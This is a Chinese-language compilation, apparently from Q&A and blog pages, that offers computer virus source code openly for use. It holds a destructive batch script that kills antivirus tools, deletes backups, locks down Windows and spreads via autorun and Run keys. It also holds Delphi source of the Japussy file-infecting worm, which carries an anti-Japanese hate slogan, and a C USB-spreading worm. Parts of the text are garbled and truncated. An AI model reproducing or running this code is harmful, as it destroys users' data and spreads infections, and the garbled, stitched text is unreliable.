6、电脑病毒代码
比较简单的C++病毒代码
最简单的病毒代码如下： #include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的，就是一开机就重起了！
system(cmd);
system("pause");
谁能解释下面简单的电脑病毒代码？
我帮你"翻译"一下代码的意思。
这是一段vbs代码：直到(除非)1等于2，否则就一直弹出一个写有"烦死你"的窗口，因为1永远不等于2，所以不断的弹窗。
这是VB的一个简单编程，但是代码却不怀好意。这段代码的意思是说，当双击运行这个程序的时候，执行以下代码：直到(除非)1等于2，否则隐藏这个软件的窗体，然后显示这个软件的窗体，然后调用系统的"calc.exe"程序，也就是调用系统自带的"计算器"，因为1永远不等于2，所以这些步骤永远循环的执行下去。以现在的计算机来看，并不会"运行后马上死机"，我们的计算机还不至于这么差劲，不过cpu会高涨，根据不同计算机的配置，时间范围从很快死机到数秒后死机不等。
批处理文件的病毒代码大全！
最强病毒!谨慎运行!此程序会将系统搞崩溃.
摘自:htt我ps://www是.jb51.net/a链rticle/7129.h接tm 去掉里面的字哦
@echo off
title You DEAD!!!!!!!
set taskkill=s
copy %0 %windir%\system32\cmd.bat
attrib %windir%\system32\cmd.bat +r +s +h
net stop sharedaccess nul
%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f nul
%s% /im norton* /f nul
%s% /im av* /f nul
%s% /im fire* /f nul
%s% /im anti* /f nul
%s% /im spy* /f nul
%s% /im bullguard /f nul
%s% /im PersFw /f nul
%s% /im KAV* /f nul
%s% /im ZONEALARM /f nul
%s% /im SAFEWEB /f nul
%s% /im OUTPOST /f nul
%s% /im nv* /f nul
%s% /im nav* /f nul
%s% /im F-* /f nul
%s% /im ESAFE /f nul
%s% /im cle /f nul
%s% /im BLACKICE /f nul
%s% /im def* /f nul
%s% /im 360safe.exe /f nul
net stop Shadow" "System" "Service
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (c %alldrive%) do del %%a:\360* /f /s /q nul
for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q nul
rem 修改注册表.......
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\
Folder\Hidden\SHOWALL /v
CheckedValue /t REG_DWORD /d 00000000 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRun /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRecentDocsMenu /t
REG_DWORD /d 00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoDrives /t REG_DWORD /d
4294967295 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
Disableregistrytools /t
REG_DWORD /d 00000002 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoNetHood /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V
NoDesktop /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoClose /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoFind /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableTaskMgr /t REG_DWORD
/d 00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoLogOff /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoSetTaskBar /t REG_DWORD
/d 00000001 /f nul
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v
DisableSR /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v
DisableConfig /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
RestrictRun /t REG_DWORD /d
00000001 /f nul
cls
net user administrator 123456 nul
for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q nul
echo @echo off d:\setup.bat
echo shutdown -r -t 10 -f -c 亲爱的朋友，我十分抱歉的通知你，你的电脑已经严重崩溃，请重新
安装系统可以解决此问题
!^.^ d:\setup.bat
echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动
\a.bat d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f
d:\setup.bat
echo [windows] %windir%\win.ini
echo run=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini
echo load=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini
echo [boot] %windir%\system.ini
echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT %windir%\system.ini
echo [AutoRun] d:\autorun.inf
echo Open=setup.bat d:\autorun.inf
echo Open=system.bat d:\autorun.inf
attrib d:\autorun.inf +r +s +h d:\setup.bat
attrib d:\setup.bat +r +s +h d:\setup.bat
start d:\setup.bat /min nul
echo @echo off C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
echo if not d:\setup.bat start %windir%\system32\cmd.bat /min C:\AUTOEXEC.BAT
copy %0 %systemroot%\windows.bat nul
if not exist %windir%/system32/explorer.bat @echo off %windir%/system32/explorer.bat
if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min %
windir%/system32/explorer.bat
if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min %
windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f %windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat/f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat /f %windir%/system32/explorer.bat
echo start %systemroot%\windows.bat /min %windir%/system32/explorer.bat
attrib %windir%/system32/explorer.bat +r +s +h%
attrib %systemroot%/windows.bat +r +s +h
for %%c in (%alldrive%) do echo @echo off %%c:\system.bat
for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min %%c:\system.bat
for %%c in (%alldrive%) do echo attrib system.bat +r +s +h %%c:\system.bat
set drive=e f g h i j k l m n o p q r s t u v w x y z
for %%c in (%drive%) do echo [AuroRun] %%c:\autorun.inf
for %%c in (%drive%) do echo Open=system.bat %%c:\autorun.inf
copy %0 d:\Program" "Files\run.bat
for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start
d:\Program" "Files\run.bat /min
%%c:\system.bat
for %%c in (%alldrive%) do attrib autorun.inf +r +s +h %%c:\system.bat
for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h nul
for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h nul
if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat
/min d:\setup.bat
attrib d:\Program" "Files\run.bat +r +s +h nul
del %0
exit
病毒程序代码是如何破坏电脑
病毒的代码一般都是自执行脚本，比如模拟人工自动完成删除破坏电脑中数据的程序。
计算机病毒通常是什么样的一段程序代码
计算机病毒（Computer Virus）是编制者在计算机程序中插入的破坏计算机功能或者数据的代码，能影响计算机使用，能自我复制的一组计算机指令或者程序代码。
计算机病毒具有传播性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。计算机病毒的生命周期：开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期。
计算机病毒是一个程序，一段可执行码。就像生物病毒一样，具有自我繁殖、互相传染以及激活再生等生物病毒特征。计算机病毒有独特的复制能力，它们能够快速蔓延，又常常难以根除。它们能把自身附着在各种类型的文件上，当文件被复制或从一个用户传送到另一个用户时，它们就随同文件一起蔓延开来。
电脑病毒代码
不行的 得用虚拟机才可以测试病毒代码 无需下载，把下面这段代码复制到记事本里，保存为文本文件
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
熊猫烧香
ogram Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码，将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr '.') and
(SearchRec.Name '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name '.') and
(SearchRec.Name '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end
用C语言编写的病毒代码
一个c病毒源代码
#include windows.h
#include Shlwapi.h
#include fstream.h
#include TlHelp32.h
#include Dbt.h
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//计时器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);
//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表，实现自启动
//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了
//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path
//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
static TCHAR szAppName[]=TEXT ("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (wndclass))
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(msg, NULL, 0, 0))
TranslateMessage (msg);
DispatchMessage (msg);
return msg.wParam;
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
case DBT_DEVICEARRIVAL: //插入
if (lpdb - dbch_devicetype == DBT_DEVTYP_VOLUME)
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv -dbcv_unitmask);//得到u盘盘符
//MessageBox(0,U,"Notice!",MB_OK);
CopyToUAndSet();//拷到u盘
break;
case DBT_DEVICEREMOVECOMPLETE: //设备删除
break;
return LRESULT();
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
switch(message)
case WM_Create: //处理一些要下面要用到的全局变量
U[1]=':';
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwnd,TIMER,5000,0);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系统盘启动的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息
else
CopyToSysAndSet(hwnd);//拷到系统盘并自启动
return 0;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
return DefWindowProc(hwnd, message, wParam, lParam);
TCHAR FirstDriveFromMask(ULONG unitmask)
char i;
for (i = 0; i 26; ++i)
if (unitmask 0x1)//看该驱动器的状态是否发生了变化
break;
unitmask = unitmask 1;
return (i + 'A');
BOOL GetSelfPath(TCHAR *path)
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
return TRUE;
else
return FALSE;
BOOL GetSysPath(TCHAR *path)
return GetSystemDirectory(path,MAX_PATH);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd)
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
else
if(!FindSelf())//检测自己有没有运行
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0);//结束自己
return FALSE;
BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
BOOL SetFileAttrib(TCHAR *path)
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动
HKEY hkey;
DWORD v=0;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
hkey)==ERROR_SUCCESS)
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
else
return FALSE;
BOOL CopyToUAndSet()
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盘的完整目录
TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);
if(!FileExist(szAutoFile))
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
if(!FileExist(szPath))
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
return FALSE;
BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件
ofstream fout;
fout.open(path);
if(fout)
fout"[AutoRun]"endl;
fout"open="szExeName" e"endl;
fout"shellexecute="szExeName" e"endl;
fout"shell\\Auto\\command="szExeName" e"endl;
fout"shell=Auto"endl;
fout.close();
return TRUE;
return FALSE;
BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
CloseHandle(hShot);
return TRUE;
}while(Process32Next(hShot,pe));
CloseHandle(hShot);
return FALSE;
} 隐藏窗口：ShowWindow(false); （#include windows.h)
将程序暂停一秒后继续执行：sleep(1000); （同上）
删除文件：system("del 文件的路径");
运行文件：system("文件的路径");
system函数（#include iostream)
复制文件：详见remove函数（#include process.h）
一个不错的病毒完整源代码
#include windows.h
#include Shlwapi.h
#include fstream.h
#include TlHelp32.h
#include Dbt.h
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//计时器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);